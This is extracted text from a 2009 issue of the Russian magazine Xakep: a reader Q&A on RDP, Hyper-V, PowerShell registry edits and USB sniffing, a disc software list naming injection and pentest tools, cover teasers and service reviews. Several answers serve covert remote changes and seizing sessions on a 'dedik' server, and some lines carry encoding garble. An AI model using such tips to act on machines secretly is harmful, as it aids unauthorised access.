P.S. За все обновления протокола на мой любимый<br />
клиент &RQ ни единого раза не приходило<br />
злосчастное сообщение от UIN #1, — чего не<br />
скажешь о QIP и Miranda. Так что советую попробовать<br />
«крыску» (http://andrq.org).<br />
Q: Не могу зайти на дедик! При входе пишет,<br />
что залогинено максимальное число пользователей!<br />
Как быть?<br />
A: Тебе необходимо зайти на дед под админской<br />
учеткой с помощью специального ключа<br />
mstsc:<br />
mstsc /admin (íàïðèìåð, Windows XP<br />
SP3);<br />
mstsc /console (íàïðèìåð, Windows<br />
XP SP2 è äðóãèå, áîëåå ñòàðûå, âåðñèè<br />
Âèíäû).<br />
Зайдя на дедик, вызывай Run taskmgr, заходи<br />
во вкладку с пользователями и разлогинивай<br />
любого не понравившегося юзера :).<br />
P.S. Описанная тобой в сабже неприятность<br />
(максимальная одновременная работа только<br />
двух пользователей) обычно наблюдается у<br />
нелицензированной серверной Винды. Вывод:<br />
задумайся над лицензированием.<br />
Q: Подскажите, возможно ли включить виртуализацию<br />
Hyper-V для Windows7.<br />
A: Без проблем! Алгоритм такой:<br />
1. Сначала выкачиваем Remote Admin Tools с<br />
сайта Microsoft: technet.microsoft.com/en-us/<br />
library/cc780654.aspx.<br />
2. После установки заходим в «Control Panel<br />
Programs and Features» и отключаем «Turn<br />
Windows features on or off».<br />
3. Непосредственно включаем Hyper-V через<br />
«Remote Server Administration Tools Role<br />
Administration Tools Hyper-V Tools».<br />
Q: Можно ли через PowerShell внести изменения<br />
в реестр так, чтобы не появились<br />
сообщения regedit’а? Есть необходимость<br />
выполнить некоторые действия удаленно<br />
через шелл и скрытно от пользователя.<br />
A: Легко, — причем PowerShell предоставляет<br />
намного больше возможностей, нежели<br />
обычные .REG-файлы. В следующем примере<br />
мы добавим в раздел HKEY_LOCAL_<br />
MACHINE\SOFTWARE\Microsoft\Windows NT\<br />
CurrentVersion\IniFileMapping\Autorun.inf ключ<br />
@=»@SYS:DoesNotExist», отключив автозагрузку<br />
в системе (подробнее — читай в прошлом<br />
номере статью «Вакцина для флешки»). Перед<br />
добавлением мы проверим, чтобы такого ключа<br />
еще не было в системе.<br />
function Disable-AutoRun<br />
{<br />
$item = Get-Item '<br />
"REGISTRY::HKEY_LOCAL_<br />
MACHINE\Software\Microsoft\<br />
Windows NT\CurrentVersion\<br />
IniFileMapping\AutoRun.inf" '<br />
-ErrorAction<br />
SilentlyContinue<br />
if (-not $item) {<br />
$item = New-Item<br />
"REGISTRY::HKEY_LOCAL_MACHINE\<br />
Software\Microsoft\Windows NT\<br />
CurrentVersion\IniFileMapping\<br />
AutoRun.inf"<br />
}<br />
Set-ItemProperty $item.PSPath<br />
"(default)" "@SYS:DoesNotExist"<br />
}<br />
Q: Хочу изучить работу одного хитрого девайса,<br />
который подключается к компьютеру по<br />
USB. Поэтому такой вопрос: как проще всего<br />
отснифать весь трафик и передаваемые<br />
данные по портам USB?<br />
A: Если речь идет о Винде, то есть сразу несколько<br />
решений: USBTrace (www.sysnucleus.<br />
com), USB Monitor Professional (www.<br />
hhdsoftware.com), USBSpy 2.0 (www.everstrike.<br />
com/usb-monitor). Одна загвоздка — они<br />
платные. В случае с линуксом пользоваться<br />
шароварными или крякнутыми прогами не<br />
придется, потому что все необходимое есть<br />
уже в самой системе. В ядре доступен модуль<br />
usbmon, который существует испокон веков и<br />
как раз отвечает за снифинг USB-шины. Вывод<br />
этого драйвера можно просмотреть хоть через<br />
консоль, — если примонтировать debugfs и<br />
insmod’ить модуль usbmon:<br />
mount -t debugfs none_debugs /sys/<br />
kernel/debug<br />
modprobe usbmon<br />
Для просмотра USB-трафика понадобится не<br />
более чем одна команда cat:<br />
cat /sys/kernel/debug/usbmon/1u<br />
Все данные идут в виде ASCII дампа, который<br />
очень легко пропарсить. Впрочем, есть и другой<br />
хинт. Известная библиотека Libpcap также<br />
поддерживает формат usbmon, а, значит, можно<br />
снимать USB-трафик построенным на ней<br />
снифером tcpdump. Более того — благодаря<br />
этому можно получать и просматривать данные<br />
в удобном графическом интерфейсе Wireshark<br />
(www.wireshark.org).<br />
Q: Как объединить движки разных браузеров<br />
в одной программе, чтобы отследить как<br />
рендерятся страницы в каждом из них?<br />
А: Сходу могут назвать пару вариантов.<br />
1. Использовать Firefox с дополнением IE<br />
Tab (ietab.mozdev.org) для браузера Internet<br />
Explorer и OperaView (operaview.mozdev.org) —<br />
соответственно, для Opera.<br />
2. Заинсталить программу от японских программеров<br />
Lunascape, которая объединяет в<br />
себе три движка для рендеринга веб-страниц<br />
— Trident (Internet Explorer), Gecko (Mozilla<br />
Firefox) и WebKit (Safari, Google Chrome). Это<br />
решение бесплатно можно скачать с www.<br />
lunascape.tv.<br />
Q: Как определить разрядность .EXE или .DLL<br />
(т.е. тип процессора, для которого скомпилирован<br />
файл)?<br />
A: Первый вариант — воспользоваться сборщиком<br />
из поставки Visual Studio:<br />
link.exe /dump /headers <br />
У Microsoft существует небольшая утилита<br />
filever.exe (http://support.microsoft.com/<br />
kb/913111), которая выдает как раз то, что нужно,<br />
о любом бинарнике:<br />
filever.exe z<br />
126<br />
XÀÊÅÐ 04 /124/ 09
x<br />
№ 04(124) АПРЕЛЬ 2009<br />
>>WINDOWS<br />
>Dailysoft<br />
7-Zip 4.65<br />
AIMP 2.51<br />
Autoruns 9.40<br />
DAEMON Tools Lite 4.30.3<br />
Download Master 5.5.10.1163<br />
FarPowerPack 1.15<br />
FileZilla Client 3.2.3.1<br />
K-Lite Mega Codec Pack 4.75<br />
Miranda IM 0.7.17<br />
Mozilla Firefox 3.0.8<br />
Notepad++ 5.3.1<br />
Opera 9.64<br />
PuTTY 0.60<br />
QIP Infium RC4 Build 9030<br />
Skype 4.04.0<br />
Total Commander 7.04a<br />
Unlocker 1.8.7<br />
XnView 1.96<br />
>Development<br />
CodeLobster PHP Edition 3.0<br />
CollabNetSubversion 1.6.0-7<br />
E-TextEditor 1.0.30<br />
Intype Alpha 0.3.1.547<br />
Titanium SDK 0.3<br />
TortoiseSVN 1.6.0<br />
>Games<br />
PCSX2 0.9.6<br />
>Misc<br />
Eyeskeeper 2.0<br />
f.lux<br />
Jedi Concentrate<br />
Jedi Window Dock<br />
NiftyWindows 0.9.3.1<br />
OpenWithView 1.02<br />
Process Blocker 0.5b<br />
TaggedFrog 0.8.1<br />
Tudumo 1.1.1.25<br />
UbitMenu<br />
Workrave 1.9.0<br />
>Multimedia<br />
AAA Logo 2009 3.0<br />
CamSpace 8.1<br />
IKEA Home Planner<br />
iTunes 8.1<br />
LastFM 1.06<br />
LiberTV 1.4.0.0<br />
Microsoft WorldWide Telescope<br />
Random MixTape Maker 1.8.27.73<br />
SumatraPDF 0.9.3<br />
TrackMe<br />
Tunatic 1.0.1b<br />
Навигатор<br />
>Net<br />
CCNA Network Visualizer 6.0<br />
Cookienator 2.5.32<br />
Google Chrome 2.0.172.0<br />
HamachiSetup 1.0.3.0<br />
Iconix<br />
IE7Pro 2.4.5<br />
Internet Explorer 8.0<br />
Lunascape 5 RC1<br />
Mikogo<br />
Opera Turbo alpha<br />
qutIM 0.2a<br />
RDP Manager<br />
The Favorite Start Page 1.77<br />
TightVNC 1.3.10<br />
X-Lite 3.0<br />
Yoics for Windows 2.6.086<br />
Плагины для Firefox:<br />
CoolPreviews 2.7.2<br />
DOM Inspector 2.0.3<br />
Firebug 1.3.3<br />
Flashblock 1.5.9<br />
FoxyProxy 2.8.14<br />
HackBar 1.3.2<br />
NoScript 1.9.1.4<br />
SQL Inject Me 0.4.0<br />
Tamper Data 10.1.0<br />
Torbutton 1.2.1<br />
Web Developer 1.1.6<br />
XSS Me 0.4.0<br />
>Security<br />
ExpanDrive 1.8.3<br />
FileFuzz<br />
<strong>Online</strong> Solutions Security Suite<br />
0.8 Beta<br />
Panda USB Vaccine 1.0.0.19<br />
Swish 0.2.1.9<br />
SysAnalyzer<br />
Wireshark 1.0.6<br />
>System<br />
Avira AntiVir Personal 9<br />
Bill2's Process Manager v3.3.0.1<br />
Drive Backup 9.0 Express<br />
FBackup 4.1<br />
HD_Speed 1.5.3.64<br />
KDE 0.9.5-0<br />
MONyog MySQL Monitor and Advisor<br />
3.0.4<br />
MySQL 6.0 Alpha<br />
Perfgraph 3.0<br />
PortableApps.com Suite 1.5.2<br />
RadarSync 2009<br />
Revo Uninstaller 1.80<br />
SQLyog 8.04<br />
>>UNIX<br />
>Desktop<br />
2ManDVD 0.6.2<br />
AcidRip 0.14<br />
Archimedes 0.52.0<br />
Avidemux 2.4.4<br />
DigiKam 0.10<br />
DVDStyler 1.7.2<br />
Exaile 0.2.14<br />
FBReader 0.10.5<br />
Ffmpeg 0.5<br />
Gnome 2.26<br />
GPicView 0.1.11<br />
Intipunku 0.4<br />
Jajuk 1.7.1<br />
Medusa4 3.1.1<br />
Octave 3.0.3<br />
OpenOffice.org 3.0.1<br />
PeaZip 2.5.1<br />
Perl Audio Converter 4.0.5<br />
Picasa 3.0 beta<br />
sK1 0.9.0<br />
SongBird 1.1.1<br />
Sound Juicer 2.26.0<br />
Xneur 0.9.3<br />
Xvidcap 1.1.7<br />
>Devel<br />
Adventure PHP Framework 1.8<br />
Anjuta IDE 2.26<br />
bashdb 4.0.0.2<br />
DDD 3.3.12<br />
EiffelStudio 6.3<br />
IntellijIDEA 8.1<br />
MonoDevelop 1.9.3<br />
Nasm 2.06rc8<br />
Pango 1.24.0<br />
Parrot 1.0<br />
QDevelop 0.27.4<br />
Qt 4.5.0<br />
Qt Creator 1.0<br />
RapidSVN 0.9.8<br />
Ruby 1.9.1<br />
Subversion 1.6.0<br />
Titanium<br />
Все для Ruby - Aptana Studio 1.2.5<br />
Все для Ruby - Arcadia 0.6.0<br />
Все для Ruby - FreeRIDE 0.9.6<br />
Все для Ruby - IronRuby 0.3<br />
Все для Ruby - JRuby 1.2.0<br />
Все для Ruby - korundum 3.5.5<br />
Все для Ruby - qt4-qtruby 2.0.3<br />
Все для Ruby - Rails 2.3.2<br />
Все для Ruby - RubyGems 1.3.1<br />
Все для Ruby - wxRuby2 2.0.0<br />
>Games<br />
Neverball 1.5.0<br />
OpenArena 0.7.1<br />
>Net<br />
Amsn 0.97.2<br />
bareFTP 0.2.1<br />
Ekiga 3.2.0<br />
Gajim 0.12.1<br />
LFTP 3.7.11<br />
Mozilla Firefox 3.0.8<br />
Mozilla Thunderbird 2<br />
Opera 9.64<br />
Opera Turbo 10.0.4166 Alpha<br />
Pidgin 2.5.5<br />
Psi 0.12<br />
QuickSynergy 0.9.0<br />
qutIM 0.2 alpha<br />
Smuxi 0.6.3<br />
Synapse IM<br />
Synergy 1.3.1<br />
Tightvnc 1.3.10<br />
Tkabber 0.11.1<br />
>Security<br />
Automated Password Generator<br />
2.2.3<br />
ClamAV 0.95<br />
Epicwebhoneypot 1.0c<br />
Fail2ban 0.8.3<br />
Ferm 2.0.5<br />
GnuPG 2.0.11<br />
iodine 0.5.1<br />
ITS4 Security Scanner 4-1.1.1<br />
m0n0wall 1.3b15<br />
Nmap 4.76<br />
OpenVAS 2.0<br />
RogueScanner 2.6.0.0<br />
SILC 1.1<br />
Snare 1.5.0<br />
Strongswan 4.2.13<br />
UnHash 1.0<br />
Unhide<br />
Wireshark 1.0.6<br />
>Server<br />
Apache 2.2.11<br />
ASSP 1.4.3.1<br />
Asterisk 1.6.0.6<br />
Bacula 2.4.4<br />
DBMail 2.3.5<br />
djbdns 1.05<br />
Dnstop 2009.01.28<br />
Dovecot 1.2 beta4<br />
Icecast 2.3.2<br />
MediaTomb 0.11<br />
Mongoose 2.4<br />
PostgreSQL 8.3.7<br />
Postoffice 1.4.10<br />
TFTP Server 1.6<br />
Unbound 1.2.1<br />
VideoLAN Server 0.5.6<br />
Vino 2.26.0<br />
>System<br />
Apcupsd 3.14.5<br />
ATI Radeon Linux Display Drivers 9.2<br />
Cobbler 1.4.3<br />
Foremost 1.5.5<br />
LDAP Account Manager 2.5.0<br />
Lynis 1.2.4<br />
NVClock 0.8<br />
nVidia Linux Display Driver x86<br />
180.29<br />
PCSX2 0.9.6<br />
Photorec 6.10<br />
Qemu 0.10.1<br />
rovclock 0.6e<br />
>X-distr<br />
BackTrack 4 beta<br />
Damn Vulnerable Linux 1.5<br />
nUbuntu 8.12<br />
STD 0.1<br />
ПОЛНЫЙ АНАЛИЗ ПРИВАТНЫХ БАГОВ WORDPRESS СТР. 52<br />
ЖУРНАЛ ОТ КОМПЬЮТЕРНЫХ ХУЛИГАНОВ<br />
www.xakep.ru<br />
АПРЕЛЬ 04 (124) 2009<br />
ДЕНЬ ГЕЙМЕРА<br />
WWW.GAMER-CITY.RU<br />
СТР. 4<br />
Loveletter<br />
2<br />
Code red<br />
3<br />
PC27<br />
4<br />
1<br />
Nimda<br />
Melissa<br />
Sasser<br />
Slammer<br />
6<br />
5<br />
J3<br />
ЛУЧШИХ<br />
ВИРУСОВ<br />
ИСТОРИЯ ЗЛА<br />
1999-2009<br />
СТР. 20<br />
Storm<br />
9<br />
Warezov<br />
8<br />
PC27 adaptor<br />
7<br />
Mebroot<br />
Sony rootkit<br />
10<br />
НАВИГАЦИЯ<br />
БЕЗ GPS<br />
АЛЬТЕРНАТИВНЫЕ<br />
СПОСОБЫ<br />
ОПРЕДЕЛЕНИЯ<br />
КООРДИНАТ<br />
СТР. 26<br />
БАЗУ ДАННЫХ<br />
НЕ СТАЩИТЬ!<br />
НОВЫЙ ПУТЬ<br />
ДЛЯ ЗАЩИТЫ<br />
ДАННЫХ В БД<br />
СТР. 32<br />
АТАКА<br />
ТВИТТЕРА<br />
КАК СПАМЯТ<br />
TWITTER<br />
СКРИПТАМИ НА<br />
PYTHON’E<br />
СТР. 88
http://<br />
WWW2<br />
ДЛЯ СЪЕМКИ<br />
СКРИНКАСТОВ<br />
SCREENTOASTER<br />
WWW.SCREENTOASTER.COM<br />
Это вещь! Еще недавно я сильно негодовал, что все толковые средства<br />
для съемки и монтажа скринкастов платные, а тут на тебе — нашелся<br />
совершенно бесплатный, грамотный инструмент, и, к тому же, работающий<br />
онлайн! ScreenToaster позволяет снять ролик со всего экрана (Linux,<br />
Windows, Mac) или выбранной части, сопровождать видео аудиокомментариями,<br />
выполнить простой монтаж после съемки, добавить субтитры.<br />
А результат? Очень качественный ролик в SWF, который не только можно<br />
скачать, но и сразу захостить на разных сервисах!<br />
QUAKE LIVE<br />
WWW.QUAKELIVE.COM<br />
QUAKE3 В ОКНЕ<br />
БРАУЗЕРА<br />
Когда-то давно я сильно извращался, чтобы запустить Quake3 на древнем<br />
Pentium’е без 3d-ускорителя и добился даже скорости в 2 FPS. :) А что<br />
сегодня? Удальцы iD Software, которым, кстати, большой респект за все<br />
три версии шутера, взяли да и сделали онлайн-версию любимой квачи!<br />
Да, теперь побегать с шотганом и пострелять приятелей можно прямо из IE<br />
или Firefox’а. Для этого автоматически скачивается специальный плагин,<br />
который подгружает текстуры, карты, запоминает конфиг и т.д. Получаем<br />
убойную связку — клон Q3 в окне браузера плюс социальная сеть для поклонников<br />
шутера. И каюсь, что не сказал ранее: вовсю рубился в Quake Live<br />
еще на стадии бета-тестирования.<br />
ДЛЯ<br />
СИНХРОНИЗАЦИИ<br />
ФАЙЛОВ МЕЖДУ<br />
РАЗНЫМИ<br />
КОМПЬЮТЕРАМИ<br />
AUDIOTAG.INFO<br />
WWW.AUDIOTAG.INFO<br />
СЕРВИС<br />
ДЛЯ<br />
РАСПОЗНАВАНИЯ<br />
МУЗЫКИ<br />
Скажите: а жива ли еще передача «Угадай мелодию»? Вот если б кому-то<br />
из участников взбрело в голову заюзать сервис AudioTag, то остальные,<br />
вероятно, остались бы не у дел. Отныне не надо быть большим меломаном,<br />
чтобы узнать название композиции — достаточно загрузить отрывок<br />
в 10-40 секунд на этот сервис. AudioTag.info сравнит его со своими<br />
сэмплами в базе и тут же выдаст ответ. Любые подсунутые ей композиции<br />
она определяла на раз-два. Завалить не удалось даже редким саундтреком:<br />
после этого я сдался.<br />
MICROSOFT LIVE SYNC<br />
WWW.FOLDERSHARE.COM<br />
Если ты по-прежнему пересылаешь файлы себе по email, чтобы работать<br />
с последней версией на разных компьютерах, или, караул, — таскаешь их<br />
на флешке, знай: этот сервис для тебя! Ребята из компании Foldershare,<br />
ныне купленной Micrsoft, создали отличный инструмент для прозрачной<br />
синхронизации файлов между несколькими компьютерами. Причем,<br />
необязательно это должны быть только твои системы: крайне удобно<br />
использовать Live Sync для совместной работы вместе с друзьями!<br />
128<br />
XÀÊÅÐ 04 /124/ 09